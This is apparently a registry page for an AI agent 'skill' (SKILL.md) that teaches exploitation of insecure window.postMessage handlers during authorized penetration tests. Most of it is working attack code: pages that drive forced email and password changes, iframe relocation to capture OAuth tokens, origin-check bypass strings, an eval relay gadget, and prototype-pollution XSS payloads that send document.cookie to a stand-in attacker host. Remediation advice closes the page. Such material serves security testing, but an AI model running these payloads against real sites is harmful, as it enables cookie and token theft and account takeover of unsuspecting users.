exploiting-postmessage-vulnerabilities

$npx mdskill add xalgord/xalgorix/exploiting-postmessage-vulnerabilities

- During authorized tests of apps using `window.postMessage(...)` and `addEventListener("message", ...)` - When pages send sensitive data (tokens, OAuth codes, account actions) cross-window - When a page is iframeable (no `X-Frame-Options` / `frame-ancestors`) and posts with wildcard `*` - When a receiver does anything sensitive (password change, API call, DOM write) with message data - When SDKs/pixels/analytics gadgets relay URL params via postMessage on a trusted origin

SKILL.md

.github/skills/exploiting-postmessage-vulnerabilitiesView on GitHub ↗
---
name: exploiting-postmessage-vulnerabilities
description: Exploiting insecure cross-window messaging where senders use a wildcard targetOrigin (leaking sensitive
  data) or receivers register message handlers with missing/weak origin validation, enabling sensitive-message theft,
  DOM XSS, prototype-pollution-to-XSS, SOP bypass via null-origin iframes, and trusted-origin relay/parameter-pollution
  bridges. Activates when pages call postMessage or addEventListener("message", ...).
domain: cybersecurity
subdomain: web-application-security
tags:
- penetration-testing
- postmessage
- dom-xss
- sop-bypass
- owasp
- web-security
version: '1.0'
author: xalgorix
license: Apache-2.0
---

# Exploiting postMessage Vulnerabilities

## When to Use

- During authorized tests of apps using `window.postMessage(...)` and `addEventListener("message", ...)`
- When pages send sensitive data (tokens, OAuth codes, account actions) cross-window
- When a page is iframeable (no `X-Frame-Options` / `frame-ancestors`) and posts with wildcard `*`
- When a receiver does anything sensitive (password change, API call, DOM write) with message data
- When SDKs/pixels/analytics gadgets relay URL params via postMessage on a trusted origin

## Critical: Variants Most Often Missed

Two root causes: (1) sender uses wildcard `targetOrigin='*'`; (2) receiver has missing/weak `event.origin` checks. Enumerate handlers first, then test the matrix:

```javascript
// --- ENUMERATE LISTENERS ---
getEventListeners(window)                 // DevTools console
// grep JS for: window.addEventListener("message"  /  $(window).on("message"
// or use posta / postMessage-tracker browser extensions

// --- 1. WILDCARD SENDER LEAK (steal sensitive message) ---
// If victim posts with '*' and is iframeable, change a nested iframe's location to your page:
window.frames[0].frame[0][2].location = "https://attacker.com/exploit.html";
// (won't work if targetOrigin is a fixed URL, only with '*')

// --- 2. MISSING ORIGIN CHECK → send arbitrary data to the handler ---
var w = window.open("https://victim.com");
setTimeout(() => w.postMessage('{"action":"changePassword","new":"pwned"}','*'), 2000);
// iframe variant:
document.getElementById('idframe').contentWindow.postMessage(payload,'*');

// --- 3. WEAK ORIGIN VALIDATION BYPASSES ---
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")   // indexOf != 0-check → bypass
"https://www.safedomain.com".search("www.s.fedomain.com")       // search() treats '.' as regex wildcard
// match() with a loose regex → same class of bypass
// escapeHtml that overwrites props can be defeated with objects lacking hasOwnProperty (File.name)

// --- 4. PROTOTYPE POLLUTION / XSS via postMessage payload ---
'{"__proto__":{"isAdmin":true}}'
'{"__proto__":{"x":"<img src=x onerror=fetch(`//attacker/?c=`+document.cookie)>"}}'

// --- 5. SOP BYPASS with null-origin iframes ---
// sandbox iframe (allow-popups, no allow-popups-to-escape-sandbox) → popup origin = null
// then e.origin == window.origin is null==null == true → passes "same window" checks
// Force e.source = null by creating an iframe that posts then is immediately removed.
```

Advanced real-world chains:
- **Trusted-origin relay**: receiver only checks `event.origin` (e.g. trusts `*.partner.com`). Find a same-origin page that echoes URL params via postMessage, or exploit XSS in the partner iframe + a relay gadget `onmessage=(e)=>{eval(e.data.cmd)}`, so messages "from" the trusted origin pass the allow-list and reach sensitive sinks (`innerHTML`).
- **PRNG-predicted tokens**: when a "shared secret" uses `Math.random()` and also names iframes, leak outputs via `window.name`, feed a V8 `Math.random` predictor (Z3), and forge the next callback token.

### How to CONFIRM a hit (avoid false negatives)

- **Wildcard leak**: your attacker page receives the victim's sensitive message (token/PII) after relocating the iframe — confirmed exfiltration.
- **Missing origin check**: the handler performs the sensitive action (password change, DOM write, API call) when YOU post from an unrelated origin.
- **DOM XSS**: payload reaches `innerHTML`/`eval`/`document.write` and your `alert(document.domain)` fires in the victim origin.
- **Prototype pollution**: `Object.prototype` gains your property (`({}).isAdmin === true`), then a gadget turns it into XSS.
- **SOP/null-origin**: a handler relying on `e.origin==window.origin` or `e.source===window` is satisfied by your null-origin/`source=null` trick.
- Inspect handlers carefully: a present-but-broken check (`indexOf`, `search`, `startsWith` on a substring) is still vulnerable. `event.isTrusted` and a strict equality `event.origin === "https://x"` (where x can't run attacker JS) are the only robust checks.

## Workflow

### Step 1: Enumerate & analyze handlers

```javascript
getEventListeners(window).message;        // inspect each listener's source
// Note: does it check event.origin? how (===, indexOf, search, regex)?
// What sink does event.data reach (innerHTML, eval, location, API call)?
```

### Step 2: Exploit by class

```html
<!-- Missing origin check: drive a sensitive action -->
<script>
  var w = window.open("https://victim.com/account");
  setTimeout(() => w.postMessage('{"type":"setEmail","email":"attacker@evil.com"}','*'), 2000);
</script>
```

```html
<!-- Wildcard sender: steal sensitive postMessage by relocating a nested iframe -->
<iframe src="https://victim.com/secret"></iframe>
<script>
  setTimeout(() => setInterval(() => {
    window.frames[0].location = "https://attacker.com/exploit.html"; // capture msg on your page
  }, 100), 4000);
</script>
```

### Step 3: Escalate — prototype pollution → XSS, trusted-origin relay

```html
<!-- Prototype pollution then XSS through a child iframe handler -->
<iframe id="v" src="https://victim.com/embed"></iframe>
<script>
  setTimeout(() => {
    document.getElementById('v').contentWindow.postMessage(
      '{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\"fetch(\'//attacker/?c=\'+document.cookie)\\">"}}}','*');
    document.getElementById('v').contentWindow.postMessage(JSON.stringify("refresh"),'*');
  }, 2000);
</script>
```

```javascript
// Trusted-origin relay: XSS in partner iframe + relay gadget bypasses event.origin allow-list
// In compromised partner: <img src="" onerror="onmessage=(e)=>{eval(e.data.cmd)};">
postMessage({cmd:`top.frames[1].postMessage('Partner.learnMore|<img src=x onerror=alert(document.domain)>|b|c','*')`}, "*");
```

Framing matters: if `X-Frame-Options` blocks iframing, fall back to `window.open()` + `postMessage` to a popup. Some mobile webviews degrade XFO to unsupported `ALLOW-FROM` when `frame-ancestors` is present, re-enabling the `window.name` side channel.

## Key Concepts

| Concept | Description |
|---------|-------------|
| **targetOrigin '*'** | Sender leaks message to any origin that controls the receiving window |
| **Missing origin check** | Receiver acts on data from any sender → forced actions / XSS |
| **Weak validation** | `indexOf`/`search`/`match`/loose regex bypasses; only strict `===` is safe |
| **Prototype pollution** | `__proto__` in message payload → gadget → DOM XSS |
| **Null-origin SOP bypass** | Sandboxed iframe popups get origin `null`; `null==null` passes checks |
| **`e.source` forging** | Iframe that posts then self-deletes makes `e.source` null |
| **Trusted-origin relay** | XSS/echo on an allow-listed origin bridges into the privileged parent |

## Tools & Systems

| Tool | Purpose |
|------|---------|
| **Browser DevTools** | `getEventListeners(window)`, Elements→Event Listeners to find handlers |
| **posta / postMessage-tracker** | Intercept and display all postMessages |
| **Burp Suite** | Host attacker pages, serve iframes/popups, capture exfil |
| **eventlistener-xss-recon** | Practice target for postMessage XSS recon |
| **v8-randomness-predictor (Z3)** | Predict `Math.random()` callback tokens |

## Common Scenarios

### Scenario 1: Wildcard Leak of OAuth Token
A page posts an OAuth token with `targetOrigin='*'` and lacks `X-Frame-Options`. The attacker iframes it, relocates the receiving frame to their page, and captures the token, leading to account takeover.

### Scenario 2: Missing Origin Check → Forced Password Change
A handler updates the account email/password from `event.data` without checking `event.origin`. The attacker opens the victim page and posts `{"type":"setEmail","email":"attacker@evil.com"}`, hijacking the account.

### Scenario 3: Prototype Pollution → DOM XSS
A child iframe handler merges `event.data` into an object. A `{"__proto__":{...onerror...}}` message pollutes `Object.prototype`, and a follow-up "refresh" message renders the polluted value, executing attacker JS and exfiltrating an invite code/cookie.

## Output Format

```
## postMessage Vulnerability Finding

**Vulnerability**: Insecure Cross-Window Messaging (postMessage)
**Severity**: High to Critical (CVSS 6.5–9.3; Critical for token theft / ATO)
**Location**: addEventListener("message", handler) in app.js / window.postMessage('*') sender
**OWASP Category**: A07:2021 (Auth failures) / A03:2021 (XSS) depending on impact

### Reproduction Steps
1. Enumerate handlers: getEventListeners(window).message — handler omits/weakly checks event.origin.
2. From an attacker origin, post {"type":"setEmail","email":"attacker@evil.com"} to the victim window.
3. Handler updates the account email → account takeover. (Or: relocate wildcard-sender iframe to steal token.)

### Evidence
| Vector | Observation | Impact |
|--------|-------------|--------|
| targetOrigin '*' | message captured cross-origin | token/PII leak |
| no origin check | sensitive action executed | forced action / ATO |
| indexOf/search check | bypassed with crafted origin | validation bypass |
| __proto__ payload | Object.prototype polluted → XSS | DOM XSS |

### Impact
Theft of sensitive cross-window messages (tokens, OAuth codes), forced account actions, DOM XSS via unsafe sinks/prototype pollution, and SOP bypass via null-origin iframes and trusted-origin relays.

### Recommendation
1. Always validate sender with strict equality: event.origin === "https://trusted.example" (never indexOf/search/regex).
2. Send with a specific targetOrigin URL, never '*', for sensitive data.
3. Validate message structure/type and avoid passing data to innerHTML/eval/document.write; sanitize before DOM writes.
4. Treat partner/allow-listed origins as untrusted boundaries; guard merges against __proto__ pollution.
```

More from xalgord/xalgorix